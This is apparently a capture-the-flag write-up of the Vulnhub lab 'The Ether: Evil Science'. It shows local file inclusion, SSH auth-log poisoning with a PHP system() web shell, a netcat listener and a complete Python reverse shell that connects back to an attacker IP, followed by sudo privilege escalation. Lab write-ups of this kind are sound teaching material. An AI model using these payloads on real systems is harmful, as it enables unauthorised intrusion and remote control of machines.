We covered the solution of The Ether: Evil Science Vulnhub free lab by demonstrating Remote Code Execution through SSH.

1. Initial Reconnaissance

I started by understanding the challenge: proving that Ether’s claims about Elixir were false. I performed a port scan on the vulnerable machine, which revealed two running services: HTTP and SSH. I also noted that using vulnerability scanners like Nikto didn’t yield significant immediate results. Conceptual nmap command: nmap -sV <target_IP>

2. Identifying the Vulnerability (Local File Inclusion – LFI)

While navigating the website, I discovered a parameter named “file” when accessing the “research” section. This immediately suggested potential vulnerabilities like directory traversal, Remote Code Execution (RCE), or Local File Inclusion (LFI).

After some fuzzing, an LFI vulnerability was confirmed. I used Burp Suite’s Intruder tool with an LFI wordlist (specifically lfi.txt from SecLists) to test for LFI. Conceptual Intruder payload list for LFI: /etc/passwd, /var/log/auth.log, etc.

The successful LFI payload was found to be var/log/auth.log (or a similar log file), which allowed me to display the content of the SSH authentication log file. Conceptual URL with LFI: http://<target_IP>/research.php?file=/var/log/auth.log

3. Exploiting LFI (Log Poisoning)

I then observed that my attempts to log in via SSH were recorded in this log file. The core idea was to “poison” the log file by injecting malicious input (PHP code) through an SSH login attempt. Since the LFI allowed me to view the log file, and the web server processed PHP, the injected code would then be executed when I viewed the poisoned log through the web application.

I attempted to inject a PHP system() command via the username field during an SSH login attempt. Conceptual SSH login attempt for log poisoning: ssh '<?php system($_GET["cmd"]); ?>'@<target_IP>

4. Gaining a Reverse Shell

After confirming the log poisoning worked, I injected a reverse shell payload (e.g., a Python reverse shell). This payload needed to be URL encoded before being used in the log poisoning attack to ensure it was properly interpreted by the web server.

I set up a listener on my attacker’s machine, and when the poisoned log entry was accessed via the LFI vulnerability in the web browser, it triggered the reverse shell, giving me initial access to the vulnerable machine. Conceptual Netcat listener command: nc -lvnp <listening_port> Conceptual Python reverse shell payload (URL encoded for log poisoning): <?php system("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<attacker_IP>\",<listening_port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'"); ?> (This would be the PHP code injected, which itself contains the Python reverse shell)

5. Privilege Escalation

Once I had initial access to the compromised machine, I found a Python script related to log viewing in the /tmp directory. I observed that this script could be run with sudo (as root), indicating a misconfiguration that could be leveraged for privilege escalation.

For convenience, I downloaded another Python listener script onto the vulnerable machine. I then used the vulnerable log viewing script (which ran with sudo) to execute another Python reverse shell script. Since the initial script ran as root, the new reverse shell also provided me with root access. Conceptual command to execute a script with sudo: sudo python /tmp/vulnerable_script.py (which then in turn executes my reverse shell)

6. Achieving the Goal

With root access, I navigated to the root directory and found a flag file, likely flag.png. Running the strings command on this file revealed Base64 encoded content. Command: strings flag.png

Decoding this Base64 string revealed the “secrets and controversial products” of the Ether company, thus completing the challenge and achieving the initial objective of exposing their malicious activities. Conceptual echo command for decoding: echo "base64_string" | base64 -d

Video Walkthrough

About the Author

Mastermind Study Notes is a group of talented authors and writers who are experienced and well-versed across different fields. The group is led by, Motasem Hamdan, who is a Cybersecurity content creator and YouTuber.

View Articles